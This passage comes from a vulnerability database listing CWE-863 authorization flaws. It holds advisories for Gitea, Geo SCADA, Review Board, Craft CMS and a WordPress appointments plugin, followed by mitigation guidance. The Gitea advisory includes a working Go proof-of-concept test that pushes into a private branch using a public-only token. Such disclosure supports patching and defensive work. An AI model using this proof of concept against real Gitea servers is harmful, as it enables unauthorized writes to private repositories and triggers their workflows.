        assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
        assert.Equal(t, "push", actionRun.TriggerEvent)
        assert.Equal(t, doer.ID, actionRun.TriggerUserID)
        assert.NotEmpty(t, actionRun.CommitSHA)

        job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
        assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)

        commit, err = gitRepo.GetBranchCommit(headBranch)
        require.NoError(t, err)
        blob, err := commit.GetBlobByPath(publicPath)
        require.NoError(t, err)
        content, err := blob.GetBlobContent(1024)
        require.NoError(t, err)
        assert.Equal(t, publicMarker, content)
    })
}

Impact

The attacker needs a valid public-only,write:repository token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.

Successful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.

When Actions is enabled on the private head repository, the same server-side push also queues the private repository's matching push workflow. The PoC confirms an ActionRun and ActionRunJob are created for the private head repository with the attack-triggered push event.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.gitea.io/gitea"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58443"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T20:38:06Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nGitea allows a `public-only,write:repository` token to update a private pull request head branch through a public base repository route.\n\nThe vulnerable endpoint is:\n\n```text\nPOST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update\n```\n\nGitea checks the token\u0027s public-only restriction against the route repository, which is the public base repository. `UpdatePullRequest()` then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token\u0027s public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.\n\nAs a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.\n\n### Details\nThe pull request API routes are attached under a repository route group. The public-only check applies to `ctx.Repo.Repository`, the route/base repository.\n\n```go\n// routers/api/v1/api.go:1358-1394\n\t\t\t\t\tm.Group(\"/pulls\", func() {\n\t\t\t\t\t\tm.Combo(\"\").Get(repo.ListPullRequests).\n\t\t\t\t\t\t\tPost(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)\n\t\t\t\t\t\tm.Get(\"/pinned\", repo.ListPinnedPullRequests)\n\t\t\t\t\t\tm.Post(\"/comments/{id}/resolve\", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)\n\t\t\t\t\t\tm.Post(\"/comments/{id}/unresolve\", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)\n\t\t\t\t\t\tm.Group(\"/{index}\", func() {\n\t\t\t\t\t\t\tm.Combo(\"\").Get(repo.GetPullRequest).\n\t\t\t\t\t\t\t\tPatch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)\n\t\t\t\t\t\t\tm.Get(\".{diffType:diff|patch}\", repo.DownloadPullDiffOrPatch)\n\t\t\t\t\t\t\tm.Post(\"/update\", reqToken(), repo.UpdatePullRequest)\n\t\t\t\t\t\t\tm.Get(\"/commits\", repo.GetPullRequestCommits)\n\t\t\t\t\t\t\tm.Get(\"/files\", repo.GetPullRequestFiles)\n\t\t\t\t\t\t\tm.Combo(\"/merge\").Get(repo.IsPullRequestMerged).\n\t\t\t\t\t\t\t\tPost(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).\n\t\t\t\t\t\t\t\tDelete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)\n\t\t\t\t\t\t\tm.Group(\"/reviews\", func() {\n\t\t\t\t\t\t\t\tm.Combo(\"\").\n\t\t\t\t\t\t\t\t\tGet(repo.ListPullReviews).\n\t\t\t\t\t\t\t\t\tPost(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)\n\t\t\t\t\t\t\t\tm.Group(\"/{id}\", func() {\n\t\t\t\t\t\t\t\t\tm.Combo(\"\").\n\t\t\t\t\t\t\t\t\t\tGet(repo.GetPullReview).\n\t\t\t\t\t\t\t\t\t\tDelete(reqToken(), repo.DeletePullReview).\n\t\t\t\t\t\t\t\t\t\tPost(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)\n\t\t\t\t\t\t\t\t\tm.Combo(\"/comments\").\n\t\t\t\t\t\t\t\t\t\tGet(repo.GetPullReviewComments)\n\t\t\t\t\t\t\t\t\tm.Post(\"/dismissals\", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)\n\t\t\t\t\t\t\t\t\tm.Post(\"/undismissals\", repo.UnDismissPullReview)\n\t\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t\tm.Combo(\"/requested_reviewers\", reqToken()).\n\t\t\t\t\t\t\t\tDelete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).\n\t\t\t\t\t\t\t\tPost(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)\n\t\t\t\t\t\t})\n\t\t\t\t\t\tm.Get(\"/{base}/*\", repo.GetPullRequestByBaseHead)\n\t\t\t\t\t}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())\n```\n\n```go\n// routers/api/v1/api.go:1465-1466\n\t\t\t\t}, repoAssignment(), checkTokenPublicOnly())\n\t\t\t}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))\n```\n\nFor `POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update`, the route repository can be public, so a `public-only,write:repository` token passes the route-level public-only check.\n\nThe update handler then checks whether the caller can update the PR head branch:\n\n```go\n// routers/api/v1/repo/pull.go:1220-1270\n\tpr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64(\"index\"))\n\tif err != nil {\n\t\tif issues_model.IsErrPullRequestNotExist(err) {\n\t\t\tctx.APIErrorNotFound()\n\t\t} else {\n\t\t\tctx.APIErrorInternal(err)\n\t\t}\n\t\treturn\n\t}\n\n\tif pr.HasMerged {\n\t\tctx.APIError(http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tif err = pr.LoadIssue(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\tif pr.Issue.IsClosed {\n\t\tctx.APIError(http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tif err = pr.LoadBaseRepo(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\tif err = pr.LoadHeadRepo(ctx); err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\trebase := ctx.FormString(\"style\") == \"rebase\"\n\nallowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)\n\tif err != nil {\n\t\tctx.APIErrorInternal(err)\n\t\treturn\n\t}\n\n\tif (!allowedUpdateByMerge \u0026\u0026 !rebase) || (rebase \u0026\u0026 !allowedUpdateByRebase) {\n\t\tctx.Status(http.StatusForbidden)\n\t\treturn\n\t}\n\n\t// default merge commit message\n\tmessage := fmt.Sprintf(\"Merge branch \u0027%s\u0027 into %s\", pr.BaseBranch, pr.HeadBranch)\n```\n\nThe service checks the head repository using the user\u0027s normal repository permission:\n\n```go\n// services/pull/update.go:136-164\n// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections\n// update PR means send new commits to PR head branch from base branch\nfunc IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {\n\tif user == nil {\n\t\treturn false, false, nil\n\t}\n\tif err := pull.LoadBaseRepo(ctx); err != nil {\n\t\treturn false, false, err\n\t}\n\tif err := pull.LoadHeadRepo(ctx); err != nil {\n\t\treturn false, false, err\n\t}\n\n\t// 1. check whether pull request enabled.\n\tprBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)\n\tif repo_model.IsErrUnitTypeNotExist(err) {\n\t\treturn false, false, nil // the PR unit is disabled in base repo means no update allowed\n\t} else if err != nil {\n\t\treturn false, false, fmt.Errorf(\"get base repo unit: %v\", err)\n\t}\n\n\t// 2. only support Github style pull request\n\tif pull.Flow == issues_model.PullRequestFlowAGit {\n\t\treturn false, false, nil\n\t}\n\n\t// 3. check user push permission on head repository\npushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)\n\tif err != nil {\n\t\treturn false, false, err\n\t}\n```\n\nThat is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate `pull.HeadRepo`.\n\nIf allowed, the update service performs a merge/rebase update and pushes into the head repository:\n\n```go\n// services/pull/update.go:89-100\n\treversePR := \u0026issues_model.PullRequest{\n\t\tBaseRepoID: pr.HeadRepoID,\n\t\tBaseRepo:   pr.HeadRepo,\n\t\tBaseBranch: pr.HeadBranch,\n\n\t\tHeadRepoID: pr.BaseRepoID,\n\t\tHeadRepo:   pr.BaseRepo,\n\t\tHeadBranch: pr.BaseBranch,\n\t}\n\n_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, \"\", message, repository.PushTriggerPRUpdateWithBase)\n\treturn err\n```\n\nThe result is a server-side private repository write performed through a public route.\n\n### PoC\n```go\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\tactions_model \"code.gitea.io/gitea/models/actions\"\n\tauth_model \"code.gitea.io/gitea/models/auth\"\n\trepo_model \"code.gitea.io/gitea/models/repo\"\n\tunit_model \"code.gitea.io/gitea/models/unit\"\n\t\"code.gitea.io/gitea/models/unittest\"\n\tuser_model \"code.gitea.io/gitea/models/user\"\n\t\"code.gitea.io/gitea/modules/gitrepo\"\n\tapi \"code.gitea.io/gitea/modules/structs\"\n\twebhook_module \"code.gitea.io/gitea/modules/webhook\"\n\trepo_service \"code.gitea.io/gitea/services/repository\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {\n\tonGiteaRun(t, func(t *testing.T, _ *url.URL) {\n\t\tdoer := unittest.AssertExistsAndLoadBean(t, \u0026user_model.User{Name: \"user1\"})\n\n\t\tbaseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{\n\t\t\tName:          \"public-pr-update-base\",\n\t\t\tDescription:   \"public base repository for public-only PR update PoC\",\n\t\t\tAutoInit:      true,\n\t\t\tReadme:        \"Default\",\n\t\t\tDefaultBranch: \"main\",\n\t\t\tIsPrivate:     false,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\theadRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{\n\t\t\tBaseRepo:     baseRepo,\n\t\t\tName:         \"private-pr-update-head\",\n\t\t\tDescription:  \"private head repository for public-only PR update PoC\",\n\t\t\tSingleBranch: baseRepo.DefaultBranch,\n\t\t})\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, headRepo)\n\t\trequire.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{\n\t\t\tRepoID: headRepo.ID,\n\t\t\tType:   unit_model.TypeActions,\n\t\t}}, nil))\n\t\theadRepo = unittest.AssertExistsAndLoadBean(t, \u0026repo_model.Repository{ID: headRepo.ID})\n\n\t\theadBranch := \"private-head-update\"\n\t\ttestCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{\n\t\t\tOldBranch: baseRepo.DefaultBranch,\n\t\t\tNewBranch: headBranch,\n\t\t}, map[string]string{\n\t\t\t\"private-head-marker.txt\": \"private head branch marker\",\n\t\t})\n\t\tconst workflowID = \"private-push.yml\"\n\t\tconst workflowSentinel = \"FAULTLINE_POC_062_PRIVATE_ACTION\"\n\t\ttestCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{\n\t\t\tOldBranch: headBranch,\n\t\t\tNewBranch: headBranch,\n\t\t}, map[string]string{\n\t\t\t\".gitea/workflows/\" + workflowID: fmt.Sprintf(`name: private-push\non:\n  push:\n    branches:\n      - %s\njobs:\n  private-head-job:\n    runs-on: ubuntu-latest\n    steps:\n      - run: echo %s\n`, headBranch, workflowSentinel),\n\t\t})\n\n\t\trequire.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), \u0026repo_model.Repository{\n\t\t\tID:        headRepo.ID,\n\t\t\tIsPrivate: true,\n\t\t}, \"is_private\"))\n\t\theadRepo = unittest.AssertExistsAndLoadBean(t, \u0026repo_model.Repository{ID: headRepo.ID})\n\t\trequire.True(t, headRepo.IsPrivate)\n\t\tbaselinePrivateHeadRuns := unittest.GetCount(t, \u0026actions_model.ActionRun{RepoID: headRepo.ID})\n\n\t\tsession := loginUser(t, doer.Name)\n\t\tpublicOnlyToken := getTokenForLoggedInUser(t, session,\n\t\t\tauth_model.AccessTokenScopePublicOnly,\n\t\t\tauth_model.AccessTokenScopeWriteRepository,\n\t\t)\n\n\t\tpublicPath := \"public-base-injected-into-private.txt\"\n\t\tpublicMarker := \"FAULT-GITEA-062 public base content reached private head\"\n\t\tcreatePublicBaseFile := api.CreateFileOptions{\n\t\t\tFileOptions: api.FileOptions{\n\t\t\t\tBranchName: baseRepo.DefaultBranch,\n\t\t\t\tMessage:    \"create public marker for private head update\",\n\t\t\t},\n\t\t\tContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),\n\t\t}\n\t\treq := NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/contents/%s\", baseRepo.FullName(), publicPath), \u0026createPublicBaseFile).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusCreated)\n\n\t\tprivatePath := \"direct-private-write-should-fail.txt\"\n\t\tdirectPrivateWrite := api.CreateFileOptions{\n\t\t\tFileOptions: api.FileOptions{\n\t\t\t\tBranchName: headBranch,\n\t\t\t\tMessage:    \"direct private write attempt\",\n\t\t\t},\n\t\t\tContentBase64: base64.StdEncoding.EncodeToString([]byte(\"direct private write marker\")),\n\t\t}\n\t\treq = NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/contents/%s\", headRepo.FullName(), privatePath), \u0026directPrivateWrite).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusNotFound)\n\n\t\tprPayload := map[string]string{\n\t\t\t\"title\": \"faultline public-only private head update\",\n\t\t\t\"base\":  baseRepo.DefaultBranch,\n\t\t\t\"head\":  fmt.Sprintf(\"%s/%s:%s\", doer.Name, headRepo.Name, headBranch),\n\t\t}\n\t\treq = NewRequestWithJSON(t, \"POST\", fmt.Sprintf(\"/api/v1/repos/%s/pulls\", baseRepo.FullName()), prPayload).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\t\tvar pr api.PullRequest\n\t\tDecodeJSON(t, resp, \u0026pr)\n\t\trequire.Equal(t, prPayload[\"title\"], pr.Title)\n\n\t\tgitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)\n\t\trequire.NoError(t, err)\n\t\tdefer gitRepo.Close()\n\n\t\tcommit, err := gitRepo.GetBranchCommit(headBranch)\n\t\trequire.NoError(t, err)\n\t\t_, err = commit.GetBlobByPath(publicPath)\n\t\trequire.Error(t, err)\n\n\t\treq = NewRequestf(t, \"POST\", \"/api/v1/repos/%s/pulls/%d/update?style=merge\", baseRepo.FullName(), pr.Index).\n\t\t\tAddTokenAuth(publicOnlyToken)\n\t\tMakeRequest(t, req, http.StatusOK)\n\t\tassert.Eventually(t, func() bool {\n\t\t\treturn unittest.GetCount(t, \u0026actions_model.ActionRun{RepoID: headRepo.ID}) \u003e baselinePrivateHeadRuns\n\t\t}, 5*time.Second, 50*time.Millisecond)\n\n\t\tactionRun := unittest.AssertExistsAndLoadBean(t, \u0026actions_model.ActionRun{\n\t\t\tRepoID:     headRepo.ID,\n\t\t\tWorkflowID: workflowID,\n\t\t}, unittest.OrderBy(\"id DESC\"))\n\t\tassert.Equal(t, webhook_module.HookEventPush, actionRun.Event)\n\t\tassert.Equal(t, \"push\", actionRun.TriggerEvent)\n\t\tassert.Equal(t, doer.ID, actionRun.TriggerUserID)\n\t\tassert.NotEmpty(t, actionRun.CommitSHA)\n\n\t\tjob := unittest.AssertExistsAndLoadBean(t, \u0026actions_model.ActionRunJob{RunID: actionRun.ID})\n\t\tassert.Contains(t, string(job.WorkflowPayload), workflowSentinel)\n\n\t\tcommit, err = gitRepo.GetBranchCommit(headBranch)\n\t\trequire.NoError(t, err)\n\t\tblob, err := commit.GetBlobByPath(publicPath)\n\t\trequire.NoError(t, err)\n\t\tcontent, err := blob.GetBlobContent(1024)\n\t\trequire.NoError(t, err)\n\t\tassert.Equal(t, publicMarker, content)\n\t})\n}\n```\n\n### Impact\nThe attacker needs a valid `public-only,write:repository` token for a user who has normal write permission to the private PR head branch. The attacker also needs a public base repository and a pull request relationship where the public base can be merged or rebased into the private head.\n\nSuccessful exploitation gives a private repository write primitive through a token that is explicitly limited to public repositories. The direct impact is integrity: public base commits are pushed into a private branch even though direct private repository writes are rejected for the same token.\n\nWhen Actions is enabled on the private head repository, the same server-side push also queues the private repository\u0027s matching `push` workflow. The PoC confirms an `ActionRun` and `ActionRunJob` are created for the private head repository with the attack-triggered push event.",
  "id": "GHSA-xxjv-752h-3vp2",
  "modified": "2026-07-21T20:38:06Z",
  "published": "2026-07-21T20:38:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-xxjv-752h-3vp2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gitea: Public-only repository tokens can update private PR head branches"
}

GHSA-XXMC-MJXM-2M5R

Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-04-04 05:32
VLAI
Details

A CWE-285: Improper Authorization vulnerability exists that could cause Denial of Service against the Geo SCADA server when specific messages are sent to the server over the database server TCP port. Affected Products: EcoStruxure™ Geo SCADA Expert 2019, EcoStruxure™ Geo SCADA Expert 2020, EcoStruxure™ Geo SCADA Expert 2021 (All versions prior to October 2022), ClearSCADA (All Versions).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-22610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-31T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CWE-285: Improper Authorization vulnerability exists that could cause Denial of Service against the Geo SCADA server when specific messages are sent to the server over the database server TCP port. Affected Products: EcoStruxure\u2122 Geo SCADA Expert 2019, EcoStruxure\u2122 Geo SCADA Expert 2020, EcoStruxure\u2122 Geo SCADA Expert 2021 (All versions prior to October 2022), ClearSCADA (All Versions).",
  "id": "GHSA-xxmc-mjxm-2m5r",
  "modified": "2024-04-04T05:32:13Z",
  "published": "2023-07-06T19:24:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22610"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-010-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2023-010-02_Geo_SCADA_Security_Notification.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.se.com/ww/en/download/document/SEVD-2023-010-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XXP7-M5H6-5JWV

Vulnerability from github – Published: 2022-05-05 00:29 – Updated: 2024-04-03 23:57
VLAI
Details

Review Board: URL processing gives unauthorized users access to review lists

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-4411"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-03T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Review Board: URL processing gives unauthorized users access to review lists",
  "id": "GHSA-xxp7-m5h6-5jwv",
  "modified": "2024-04-03T23:57:34Z",
  "published": "2022-05-05T00:29:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4411"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/cve-2013-4411"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2013-4411"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/88061"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2013-4411"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-November/120619.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-October/119819.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-October/119820.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-October/119830.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-October/119831.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/63023"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XXPX-F366-4XPQ

Vulnerability from github – Published: 2026-08-06 21:43 – Updated: 2026-09-01 21:18
VLAI
Summary
Craft CMS: Authorization bypass: view-only Categories user can modify category structure via structures/move-element
Details

A control-panel user who holds only the viewCategories permission for a category group (and not saveCategories) can permanently modify that group's category structure — reordering and re-parenting categories via the structures/move-element action.

A read-time authorization grant that a write endpoint later trusts. For categories, the structureEditable flag is computed from the view permission (src/elements/Category.php:205) instead of the save permission (entries correctly use saveEntries — src/elements/Entry.php:341). When the read-only category index renders, craft\base\Element::indexHtml() calls Craft::$app->getSession()->authorize('editStructure:<structureId>'); StructuresController then authorizes the structure-mutating action solely on that session grant, with no canSave re-check.

Verified on Craft CMS 5.10.5. Same class as the moderate-severity authorization bypasses fixed in 5.10.3 and 5.10.5; this is a distinct, unpatched instance.

Impact

A low-privileged, authenticated user (view-only on a category group) can persistently alter the sibling ordering and parent/child nesting of the category taxonomy. Because a category’s URI is derived from its position in the structure (ancestor slugs), moving a category changes its URL and the URLs of its descendants, and can corrupt any navigation/menus built from the category tree. This is an integrity/broken access-control issue: content that the user has no permission to modify is being modified. No confidentiality impact and no RCE; scope is content/taxonomy integrity.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-72785"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T21:43:54Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "A control-panel user who holds only the viewCategories permission for a category group (and not saveCategories) can permanently modify that group\u0027s category structure \u2014 reordering and re-parenting categories via the structures/move-element action.\n\nA read-time authorization grant that a write endpoint later trusts. For categories, the structureEditable flag is computed from the view permission (`src/elements/Category.php:205`) instead of the save permission (entries correctly use saveEntries \u2014 `src/elements/Entry.php:341`). When the read-only category index renders, `craft\\base\\Element::indexHtml()` calls `Craft::$app-\u003egetSession()-\u003eauthorize(\u0027editStructure:\u003cstructureId\u003e\u0027);` StructuresController then authorizes the structure-mutating action solely on that session grant, with no canSave re-check.\n\nVerified on Craft CMS 5.10.5. Same class as the moderate-severity authorization bypasses fixed in 5.10.3 and 5.10.5; this is a distinct, unpatched instance.\n\n## Impact\n\nA low-privileged, authenticated user (view-only on a category group) can persistently alter the sibling ordering and parent/child nesting of the category taxonomy. Because a category\u2019s URI is derived from its position in the structure (ancestor slugs), moving a category changes its URL and the URLs of its descendants, and can corrupt any navigation/menus built from the category tree. This is an integrity/broken access-control issue: content that the user has no permission to modify is being modified. No confidentiality impact and no RCE; scope is content/taxonomy integrity.",
  "id": "GHSA-xxpx-f366-4xpq",
  "modified": "2026-09-01T21:18:48Z",
  "published": "2026-08-06T21:43:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-xxpx-f366-4xpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72785"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/eb63721b8476ef53f21d7de53d156eef531cb57d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/4.18.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/releases/tag/5.10.6"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/craft-cms-before-authorization-bypass-via-structures-move-element"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS: Authorization bypass: view-only Categories user can modify category structure via structures/move-element"
}

GHSA-XXW4-4RGM-PWM2

Vulnerability from github – Published: 2026-07-24 15:33 – Updated: 2026-07-24 15:33
VLAI
Details

The Easy Appointments plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check and missing nonce verification on the ea_delete_multiple_connections AJAX action in all versions up to, and including, 3.12.27. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary connection records from the wp_ea_connections table, disrupting the plugin's core booking functionality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8789"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-24T15:19:08Z",
    "severity": "HIGH"
  },
  "details": "The Easy Appointments plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check and missing nonce verification on the `ea_delete_multiple_connections` AJAX action in all versions up to, and including, 3.12.27. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary connection records from the `wp_ea_connections` table, disrupting the plugin\u0027s core booking functionality.",
  "id": "GHSA-xxw4-4rgm-pwm2",
  "modified": "2026-07-24T15:33:03Z",
  "published": "2026-07-24T15:33:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8789"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3595856%40easy-appointments\u0026new=3595856%40easy-appointments"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/47ed52b3-4bfe-46ce-aabc-7a4647ab7db5?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

